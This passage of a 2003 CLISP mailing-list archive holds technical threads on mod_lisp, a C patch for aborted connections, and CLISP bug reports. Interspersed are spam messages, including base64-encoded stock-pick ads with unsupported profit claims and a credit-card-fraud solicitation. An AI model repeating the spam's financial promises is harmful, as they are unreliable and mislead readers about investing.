-0200 Received: from unknown (34.5.21.166) by m1.gns.snv.thisdomainl.com with esmtp; 03 Jan 2003 02:05:37 +0100 Received: from unknown (HELO qrx.quickslick.com) (92.163.239.126) by rsmail.alkoholic.net with SMTP; Fri, 03 Jan 2003 03:03:22 -0200 Reply-To: Message-ID: <003001a1dc65$aab43056$5081545e@kmhrdqym> From: To: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_00E5_01B68E7D.C5438B62" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: The Bat! (v1.52f) Business Importance: Normal Subject: [clisp-list] Want to make $ in the market? Easy... Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jan 2 14:10:15 2003 X-Original-Date: Thu, 02 Jan 2003 22:09:19 +0300 ------=_NextPart_000_00E5_01B68E7D.C5438B62 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: base64 SW52ZXN0b3INCg0KMjAwMiB3YXMgbm90IGZ1biBmb3IgbW9zdCBtYXJrZXQg cGxheWVycywgYnV0IG1hbnkgbWVtYmVycyBvZiBvdXIgY2hhdCByb29tDQph bmQgbmV3c2xldHRlciBoYWQgdGhlIGJlc3QgeWVhcnMgb2YgdGhlaXIgY2Fy ZWVycy4uLi4NCg0KT3VyIERhaWx5IFN0b2NrIFBpY2tzIHdvdWxkIHRvcCBl dmVyeSBsaXN0IGlmIGl0IHdhcyB0cmFja2VkIGJ5IHRoZQ0KcmVwb3J0aW5n IHNlcnZpY2VzLi4uLmFoZWFkIG92ZXIgNjAwIHBvaW50cyBzaW5jZSBNYXkg MXN0IC0gbWVhbmluZyBvdmVyICQ2MCwwMDAgcHJvZml0IGlmIHlvdSBoYWQg dHJhZGVkIGp1c3QgMTAwIHNoYXJlcyBvbiBlYWNoIHRyYWRpbmcgb3Bwb3J0 dW5pdHkuDQoNCldlIGFyZSByZS1kb3VibGluZyBvdXIgY29tbWl0bWVudCB0 byBnZXQgb3VyIG5ld3NsZXR0ZXIgbWVtYmVycyB0byBhdCBsZWFzdA0KOCBv dXQgb2YgMTAgd2lubmluZyB0cmFkZSBhdmVyYWdlLg0KDQpPdXIgZ29hbCBp cyB0byBjcmVhdGUgdGhlIGJpZ2dlc3QsIG1vc3Qgc3VjY2Vzc2Z1bCB0cmFk aW5nIGNvbW11bml0eSBvbiB0aGUNCmludGVybmV0LiBPbmUgaW4gd2hpY2gg bW9yZSBwZW9wbGUgbWFrZSBtb3JlIG1vbmV5IHRoYW4gYW55IG90aGVyIHRy YWRpbmcNCnNpdGUuDQoNCklmIHlvdSBoYXZlIGFueSBpZGVhcyBob3cgd2Ug Y2FuIGRvIHRoaXMgYmV0dGVyLCBmYXN0ZXIsIGFuZCBlYXNpZXIgZm9yDQp5 b3UgLS0gb3VyIGNsaWVudHMsIHBsZWFzZSBsZXQgdXMga25vdy4NCg0KV2Ug aG9wZSB5b3Ugd2lsbCBhY2NlcHQgb3VyIG1vc3Qgc2luY2VyZSBncmF0aXR1 ZGUgZm9yIGFsbG93aW5nIHVzIHRvDQpwYXJ0aWNpcGF0ZSBpbiB5b3VyIG1h cmtldCBlZHVjYXRpb24gYW5kIHRyYWluaW5nLiBJZiB0aGVyZSBpcyBhbnl0 aGluZyB3ZQ0KY2FuIGRvIHRvIGhlbHAgeW91IHJlYWNoIHlvdXIgdHJhZGlu ZyBhbmQgaW52ZXN0aW5nIGdvYWxzIGluIDIwMDMsIHdlIGludml0ZQ0KeW91 IHRvIGFzayB1cyBzbyB3ZSBjYW4gdHJ5IHRvIGRlbGl2ZXIgaXQgc29vbmVy LCByYXRoZXIgdGhhbiBsYXRlci4NCg0KRm9yIHRob3NlIG9mIHlvdSB3aG8g aGF2ZSBub3QgeWV0IHRha2VuIHRoZSBGUkVFIDIgd2VlayB0cmlhbCBzaWdu IHVwIG5vdyBhdA0KaHR0cDovL3d3dy5ob3QuZWUvdHd3cw0KV2Ugd2lzaCB5 b3UgYWxsIHRoZSBoYXBwaW5lc3MgYW5kIHN1Y2Nlc3MgeW91IGRlc2VydmUg aW4geW91ciBsaWZlIGFuZCBpbiB5b3VyIA0KdHJhZGluZy4NCg0KV2FybWVz dCByZWdhcmRzLA0KDQpUaGUgVHJhZGluZyBUZWFtDQoNCg0KDQoxNTA4YWVQ RjAtNDAzWHRTcDk2OThWa0VuMi00NzRVWmV5MDM3NlZ1ZUw5LTI2NmFDam81 ODI1SWFnVTYtOTgzTm5xVDAyNTdxSmZsNzE= From edi@agharta.de Thu Jan 02 14:59:36 2003 Received: from trane.agharta.de ([62.159.208.82] helo=bird.agharta.de) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18UEJF-0003SG-00 for ; Thu, 02 Jan 2003 14:59:30 -0800 Received: by bird.agharta.de (Postfix, from userid 1000) id 0E567260559; Thu, 2 Jan 2003 23:59:23 +0100 (CET) To: "John K. Hinsdale" Cc: ngps@netmemetic.com, johs+n@ifi.uio.no, clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: CLISP Apache module References: <200301022100.h02L0eY3001060@van-halen.alma.com> From: Edi Weitz In-Reply-To: <200301022100.h02L0eY3001060@van-halen.alma.com> Message-ID: <87ptrfxino.fsf@bird.agharta.de> Lines: 23 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jan 2 15:00:02 2003 X-Original-Date: 02 Jan 2003 23:59:23 +0100 "John K. Hinsdale" writes: > >> also w/ the mod_lisp approach I can't use it as a drop-in > >> replacement for my scripts that write the response to the STDOUT > >> stream as per CGI. > > > (let ((html (with-output-to-string (*standard-output*) > > (my-old-script)))) > > (send-data-to-mod-lisp html)) > > > Wouldn't that work? > > well, almost ... except that it's not always allowed in my case to > collect up the entire output before beginning to send back to the Web > client. (I have some pages that need to begin producing displayed > output before the request is completely processed Hmm, that also rules out using mod_lisp's "Keep-Socket" feature which is one of its highlights. You _must_ send a correct Content-Length header before you send the body - kind of like HTTP/1.1 Keep-alive. Cheers, Edi. From peter@javamonkey.com Thu Jan 02 17:15:13 2003 Received: from crankshaft.bitmechanic.com ([209.209.9.242]) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 18UGQb-0001YP-00 for ; Thu, 02 Jan 2003 17:15:13 -0800 Received: by crankshaft.bitmechanic.com (Postfix, from userid 524) id A0448CA5B; Thu, 2 Jan 2003 17:15:10 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by crankshaft.bitmechanic.com (Postfix) with ESMTP id 9AE5CC9E0; Thu, 2 Jan 2003 17:15:10 -0800 (PST) From: Peter Seibel X-Sender: peter@crankshaft.bitmechanic.com To: Sam Steingold Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] find-package bug? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jan 2 17:19:20 2003 X-Original-Date: Thu, 2 Jan 2003 17:15:10 -0800 (PST) On 2 Jan 2003, Sam Steingold wrote: > > * In message > > * On the subject of "[clisp-list] find-package bug?" > > * Sent on Fri, 27 Dec 2002 09:28:33 -0800 (PST) > > * Honorable Peter Seibel writes: > > > > Hello. I was running some code in CLISP that I had previously > > developed under another ACL and ran into this behavior which I think > > is a bug: FIND-PACKAGE complains if its argument isn't a string. > > this bug has been fixed on 2002-11-01. Ah. Sorry. Thanks. > please try CVS head. Will do. -Peter -- Peter Seibel Lisp/Java/English hacker peter@javamonkey.com As for systems that are not like Unix, such as MSDOS, Windows, the Macintosh, VMS, and MVS, supporting them is usually so much work that it is better if you don't. --GNU coding standards, Writing C, Portability between System Types From a0141kygv@hotmail.com Fri Jan 03 16:59:44 2003 Received: from [61.188.192.207] (helo=hotmail.com) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18Ucf8-0006hu-00; Fri, 03 Jan 2003 16:59:43 -0800 Received: from [112.206.101.43] by asx121.turbo-inline.com with esmtp; 04 Jan 2003 23:03:36 -0800 Received: from smtp4.cyberemailings.com ([28.197.148.23]) by mmx09.tilkbans.com with QMQP; Sat, 04 Jan 2003 15:01:36 -0600 Received: from 52.151.144.210 ([52.151.144.210]) by mail.gimmicc.net with QMQP; Sat, 04 Jan 2003 08:59:36 +0400 Received: from unknown (109.105.182.219) by mxs.perenter.com with asmtp; 04 Jan 2003 12:57:36 -0700 Received: from unknown (HELO qrx.quickslick.com) (128.234.222.20) by external.newsubdomain.com with SMTP; Sat, 04 Jan 2003 05:55:36 -0200 Reply-To: Message-ID: <000811a3ea85$eec47643$0858487a@tuuokbqr> From: To: , MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_00E8_37A81A5B.B2786C46" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 Importance: Normal Subject: [clisp-list] We have the answers, do you want the profits ?$ Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jan 3 17:00:05 2003 X-Original-Date: Sat, 04 Jan 2003 02:01:53 +0200 ------=_NextPart_000_00E8_37A81A5B.B2786C46 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: base64 TWFrZSBtb25leSBsaWtlIHRoZSBQcm8ncyBkby4uDQoNCjIwMDIgd2FzIG5v dCBmdW4gZm9yIG1vc3QgbWFya2V0IHBsYXllcnMsIGJ1dCBtYW55IG1lbWJl cnMgb2Ygb3VyIGNoYXQgcm9vbQ0KYW5kIG5ld3NsZXR0ZXIgaGFkIHRoZSBi ZXN0IHllYXJzIG9mIHRoZWlyIGNhcmVlcnMuLi4uDQoNCk91ciBEYWlseSBT dG9jayBQaWNrcyB3b3VsZCB0b3AgZXZlcnkgbGlzdCBpZiBpdCB3YXMgdHJh Y2tlZCBieSB0aGUNCnJlcG9ydGluZyBzZXJ2aWNlcy4uLi5haGVhZCBvdmVy IDYwMCBwb2ludHMgc2luY2UgTWF5IDFzdCAtIG1lYW5pbmcgb3ZlciAkNjAs MDAwIHByb2ZpdCBpZiB5b3UgaGFkIHRyYWRlZCBqdXN0IDEwMCBzaGFyZXMg b24gZWFjaCB0cmFkaW5nIG9wcG9ydHVuaXR5Lg0KDQpXZSBhcmUgcmUtZG91 Ymxpbmcgb3VyIGNvbW1pdG1lbnQgdG8gZ2V0IG91ciBuZXdzbGV0dGVyIG1l bWJlcnMgdG8gYXQgbGVhc3QNCjggb3V0IG9mIDEwIHdpbm5pbmcgdHJhZGUg YXZlcmFnZS4NCg0KT3VyIGdvYWwgaXMgdG8gY3JlYXRlIHRoZSBiaWdnZXN0 LCBtb3N0IHN1Y2Nlc3NmdWwgdHJhZGluZyBjb21tdW5pdHkgb24gdGhlDQpp bnRlcm5ldC4gT25lIGluIHdoaWNoIG1vcmUgcGVvcGxlIG1ha2UgbW9yZSBt b25leSB0aGFuIGFueSBvdGhlciB0cmFkaW5nDQpzaXRlLg0KDQpJZiB5b3Ug aGF2ZSBhbnkgaWRlYXMgaG93IHdlIGNhbiBkbyB0aGlzIGJldHRlciwgZmFz dGVyLCBhbmQgZWFzaWVyIGZvcg0KeW91IC0tIG91ciBjbGllbnRzLCBwbGVh c2UgbGV0IHVzIGtub3cuDQoNCldlIGhvcGUgeW91IHdpbGwgYWNjZXB0IG91 ciBtb3N0IHNpbmNlcmUgZ3JhdGl0dWRlIGZvciBhbGxvd2luZyB1cyB0bw0K cGFydGljaXBhdGUgaW4geW91ciBtYXJrZXQgZWR1Y2F0aW9uIGFuZCB0cmFp bmluZy4gSWYgdGhlcmUgaXMgYW55dGhpbmcgd2UNCmNhbiBkbyB0byBoZWxw IHlvdSByZWFjaCB5b3VyIHRyYWRpbmcgYW5kIGludmVzdGluZyBnb2FscyBp biAyMDAzLCB3ZSBpbnZpdGUNCnlvdSB0byBhc2sgdXMgc28gd2UgY2FuIHRy eSB0byBkZWxpdmVyIGl0IHNvb25lciwgcmF0aGVyIHRoYW4gbGF0ZXIuDQoN CkZvciB0aG9zZSBvZiB5b3Ugd2hvIGhhdmUgbm90IHlldCB0YWtlbiB0aGUg RlJFRSAyIHdlZWsgdHJpYWwgc2lnbiB1cCBub3cgYXQNCmh0dHA6Ly93d3cu aG90LmVlL3Rkd3cNCldlIHdpc2ggeW91IGFsbCB0aGUgaGFwcGluZXNzIGFu ZCBzdWNjZXNzIHlvdSBkZXNlcnZlIGluIHlvdXIgbGlmZSBhbmQgaW4geW91 ciANCnRyYWRpbmcuDQoNCldhcm1lc3QgcmVnYXJkcywNCg0KVGhlIFRyYWRp bmcgVGVhbQ0KDQoNCg0KMjkzM2VZRkk1LTE0M1dkZUkxODA1Q3VFZTMtNTI4 UHJNZTA5OTJKWWRCNi05ODVNbmNqMjEyNEpsNTM= From offer1@cfl.rr.com Sat Jan 04 10:43:29 2003 Received: from smtp-server4.tampabay.rr.com ([65.32.1.43]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18UtGa-0002Cl-00 for ; Sat, 04 Jan 2003 10:43:28 -0800 Received: from david-congero (207.107.35.65.cfl.rr.com [65.35.107.207]) by smtp-server4.tampabay.rr.com (8.12.2/8.12.2) with SMTP id h04IhOeL001378 for ; Sat, 4 Jan 2003 13:43:26 -0500 (EST) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii From: offer1 To: clisp-list@sourceforge.net Message-ID: <20031449407clisp-list@clisp.cons.org> Subject: [clisp-list] Credit Card Fraud Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Jan 4 10:44:04 2003 X-Original-Date: Sat, 04 Jan 2003 13:43:27 -0600 Would you like to know more about credit card fraud on the internet and how to stop it? Simply reply to this email with " Credit Card Fraud" in the subject line for more infromation. Thank you for your time To be removed from our database simply reply to this email with the word Remove in the subject line. Thank you for your time From herald@ns1.nabitel.com Mon Jan 06 00:29:59 2003 Received: from [211.192.186.198] (helo=ns1) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18VSdy-00032P-00 for ; Mon, 06 Jan 2003 00:29:59 -0800 Received: from mail pickup service by ns1 with Microsoft SMTPSVC; Mon, 6 Jan 2003 17:30:04 +0900 Reply-To: From: To: MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_5A570_01C2B5A9.3F9F4C20" X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 Message-ID: X-OriginalArrivalTime: 06 Jan 2003 08:30:04.0340 (UTC) FILETIME=[CFD7AF40:01C2B55D] Subject: [clisp-list] (ad) Internet Domain Free Auction Site - Visit NOW ! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jan 6 00:30:10 2003 X-Original-Date: Mon, 6 Jan 2003 17:30:04 +0900 This is a multi-part message in MIME format. ------=_NextPart_000_5A570_01C2B5A9.3F9F4C20 Content-Type: text/plain; charset="ks_c_5601-1987" Content-Transfer-Encoding: quoted-printable Sorry for interrupting you - click refuse for no more mail... =09 =A1=A1 =09 - Welcome to Domain Free Auction site - =09 Domain Auction: Do you want to sell or buy Internet domains? The DomainLinkers.com is the best place to deal your domains! Do not hesitate to visit NOW! Sell or Buy Your Internet Domains ! =20 Have a nice day. Thank you. =09 ------=_NextPart_000_5A570_01C2B5A9.3F9F4C20 Content-Type: text/html; charset="ks_c_5601-1987" Content-Transfer-Encoding: quoted-printable Nabitel information broadcast mail
=
=
=
=
=
Sorry for = interrupting you - click refuse for no more = mail...
=A1=A1
- = Welcome to Domain Free Auction site - =

Domain = Auction: Do you want to sell or buy Internet domains? The = DomainLinkers.com is the best place to deal your domains! Do = not hesitate to visit NOW!

Sell or Buy Your Internet = Domains !

Have a nice day.  Thank you.
------=_NextPart_000_5A570_01C2B5A9.3F9F4C20-- From Joerg-Cyril.Hoehle@t-systems.com Mon Jan 06 01:57:36 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18VU0k-0005V9-00 for ; Mon, 06 Jan 2003 01:57:35 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Mon, 6 Jan 2003 10:57:16 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Mon, 6 Jan 2003 10:57:15 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FEECD412@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: hin@alma.com, edi@agharta.de MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] Re: CLISP Apache module Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jan 6 01:58:06 2003 X-Original-Date: Mon, 6 Jan 2003 10:57:12 +0100 Edi Weitz wrote, quoting John K. Hinsdale: >> well, almost ... except that it's not always allowed in my case to >> collect up the entire output before beginning to send back to the Web >> client. (I have some pages that need to begin producing displayed >> output before the request is completely processed >Hmm, that also rules out using mod_lisp's "Keep-Socket" feature which >is one of its highlights. You _must_ send a correct Content-Length >header before you send the body - kind of like HTTP/1.1 Keep-alive. What about the HTTP/1.1 chunked transfer encoding? Would that work with mod_lisp? Or is that an enhancement request for Marc Battyani? >> > (let ((html (with-output-to-string (*standard-output*) >> > (my-old-script)))) >> > (send-data-to-mod-lisp html)) You could write a more complex with-output-to-mod-lisp using a generic or gray stream approach: *standard-output* bound to this stream object which would redirect to the mod_lisp socket as soon as output arrives (or better: in not too small chunks, e.g. 4KB pieces). Regards, Jorg Hohle. From edi@agharta.de Mon Jan 06 02:15:31 2003 Received: from trane.agharta.de ([62.159.208.82] helo=bird.agharta.de) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18VUI0-00019H-00 for ; Mon, 06 Jan 2003 02:15:25 -0800 Received: by bird.agharta.de (Postfix, from userid 1000) id D75D4260555; Mon, 6 Jan 2003 11:15:14 +0100 (CET) To: clisp-list@lists.sourceforge.net, hin@alma.com Subject: Re: [clisp-list] Re: CLISP Apache module References: <9F8582E37B2EE5498E76392AEDDCD3FEECD412@G8PQD.blf01.telekom.de> From: Edi Weitz In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FEECD412@G8PQD.blf01.telekom.de> Message-ID: <87wuli8tzh.fsf@bird.agharta.de> Lines: 69 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jan 6 02:16:02 2003 X-Original-Date: 06 Jan 2003 11:15:14 +0100 "Hoehle, Joerg-Cyril" writes: > Edi Weitz wrote, quoting John K. Hinsdale: > >> well, almost ... except that it's not always allowed in my case to > >> collect up the entire output before beginning to send back to the Web > >> client. (I have some pages that need to begin producing displayed > >> output before the request is completely processed > > >Hmm, that also rules out using mod_lisp's "Keep-Socket" feature which > >is one of its highlights. You _must_ send a correct Content-Length > >header before you send the body - kind of like HTTP/1.1 Keep-alive. > > What about the HTTP/1.1 chunked transfer encoding? Would that work with mod_lisp? Currently not. I think it would be a good idea, though. I have no idea how hard this would be to implement with the Apache C API. Maybe I'll look into this by the end of this month. Cheers, Edi. PS: BTW, for those of you who are using mod_lisp - there's a bug in how it handles the situation where the client has aborted the connection prematurely. Marc will have a new release online in the next days. Until then here's a patch: edi@bird:/usr/local/build > diff -u mod_lisp.c.orig mod_lisp.c --- mod_lisp.c.orig Thu Jan 2 20:07:23 2003 +++ mod_lisp.c Thu Jan 2 20:35:54 2003 @@ -487,13 +487,13 @@ #endif } -int ForceGets(char *s, BUFF *BuffSocket) +int ForceGets(char *s, BUFF *BuffSocket, int len) { int ret, i; for (i =0; i < 10; i++) { - ret = ap_bgets(s, HEADER_STR_LEN, BuffSocket); + ret = ap_bgets(s, len, BuffSocket); if (ret > 0) return ret; ap_bsetflag(BuffSocket, B_RD, 1); @@ -699,7 +699,7 @@ /* Receive the response from Lisp */ ap_hard_timeout("lisp-read", r); - while (ForceGets(Header, (BUFF *) BuffSocket) >= 0) + while (ForceGets(Header, (BUFF *) BuffSocket, HEADER_STR_LEN) >= 0) { int l; l = strlen(Header); @@ -775,7 +775,12 @@ /* Send headers and data collected (if this was not a "header only" req. */ ap_send_http_header(r); if (!r->header_only && ContentLength > 0) - ap_send_fb_length(BuffSocket, r, ContentLength); + if (ap_send_fb_length(BuffSocket, r, ContentLength) < ContentLength || r->connection->aborted) + { + char buffer[HUGE_STRING_LEN]; + + while (ForceGets(buffer, (BUFF *) BuffSocket, HUGE_STRING_LEN) > 0); + } #ifdef WIN32 KeepSocket = 0; From lzdaily@citlink.net Mon Jan 06 13:41:12 2003 Received: from 170-215-50-150.br1.elk.ca.frontiernet.net ([170.215.50.150] helo=dailyserv) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18Vezf-0006lN-00 for ; Mon, 06 Jan 2003 13:41:11 -0800 Received: from Wundt ([10.1.1.2]) by dailyserv with Microsoft SMTPSVC(5.5.1877.197.19); Mon, 6 Jan 2003 16:42:12 -0500 From: "Larry Z. Daily" To: Message-ID: <000601c2b5cc$56efb0e0$0201010a@citlink.net> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2377.0 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 Importance: Normal Subject: [clisp-list] CLisp Novice Needs Help on Error Message Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jan 6 13:42:02 2003 X-Original-Date: Mon, 6 Jan 2003 16:41:15 -0500 I'm a novice user of CLisp 2.30 on a Windows Me machine. I've got a file I'm trying to load and I keep getting the following error: handle_fault error2 ! address = (a different address each time). I suspect that I might be running up against some memory limit becasue if I comment out some of the variables I'm setting up the problem goes away. Can anyone tell me what this error means? thanks Larry Visit the C&O's Piedmont Subdivision at http://www.piedmontsub.com Adam's prize was open eyes His sentence was to see --Tom Rush From sds@gnu.org Mon Jan 06 15:51:08 2003 Received: from pop015pub.verizon.net ([206.46.170.172] helo=pop015.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18Vh1P-0003qc-00 for ; Mon, 06 Jan 2003 15:51:07 -0800 Received: from loiso.podval.org ([151.203.33.199]) by pop015.verizon.net (InterMail vM.5.01.05.20 201-253-122-126-120-20021101) with ESMTP id <20030106235100.XRTD21001.pop015.verizon.net@loiso.podval.org>; Mon, 6 Jan 2003 17:51:00 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id h06Nq44e017109; Mon, 6 Jan 2003 18:52:04 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id h06Nq3Kq017105; Mon, 6 Jan 2003 18:52:03 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: "Larry Z. Daily" Cc: Subject: Re: [clisp-list] CLisp Novice Needs Help on Error Message References: <000601c2b5cc$56efb0e0$0201010a@citlink.net> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <000601c2b5cc$56efb0e0$0201010a@citlink.net> Message-ID: Lines: 21 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at pop015.verizon.net from [151.203.33.199] at Mon, 6 Jan 2003 17:51:00 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jan 6 15:52:02 2003 X-Original-Date: 06 Jan 2003 18:52:03 -0500 > * In message <000601c2b5cc$56efb0e0$0201010a@citlink.net> > * On the subject of "[clisp-list] CLisp Novice Needs Help on Error Message" > * Sent on Mon, 6 Jan 2003 16:41:15 -0500 > * Honorable "Larry Z. Daily" writes: > > handle_fault error2 ! address = (a different address each time). this is a segmentation fault which means that you stumbled on a CLISP bug. if you can isolate this bug so that I can reproduce it, we will try to fix it. beware that many bugs have been fixed since the last release, so you would probably benefit from trying the CVS head (you will need to compile it yourself though...) -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux I don't have an attitude problem. You have a perception problem. From don-sourceforge@isis.cs3-inc.com Mon Jan 06 21:02:25 2003 Received: from isis.cs3-inc.com ([207.224.119.73]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18Vlse-0000FF-00 for ; Mon, 06 Jan 2003 21:02:24 -0800 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id h0754od08073 for clisp-list@lists.sourceforge.net; Mon, 6 Jan 2003 21:04:50 -0800 Message-Id: <200301070504.h0754od08073@isis.cs3-inc.com> X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforge using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforge@isis.cs3-inc.com (Don Cohen) To: clisp-list@lists.sourceforge.net Subject: [clisp-list] what causes this error ? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jan 6 21:03:05 2003 X-Original-Date: Mon, 6 Jan 2003 21:04:50 -0800 I can't reproduce it. Character #\u00B3 cannot be represented in the character set CHARSET:ASCII I'm pretty sure I was running this: (lisp-implementation-version) "2.26.1 (released 2001-06-04) (built on host1 [10.0.1.2])" (write-char #\u00B3) works. Who decides that I want to represent the character in ascii and how is it decided ? From kaz@footprints.net Mon Jan 06 21:11:34 2003 Received: from ashi.footprints.net ([204.239.179.1] ident=mail) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18Vm11-0001Cc-00 for ; Mon, 06 Jan 2003 21:11:04 -0800 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 18Vm0X-0005Ah-00; Mon, 06 Jan 2003 21:10:33 -0800 From: Kaz Kylheku To: Don Cohen cc: clisp-list@lists.sourceforge.net In-Reply-To: <200301070504.h0754od08073@isis.cs3-inc.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Re: what causes this error ? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net 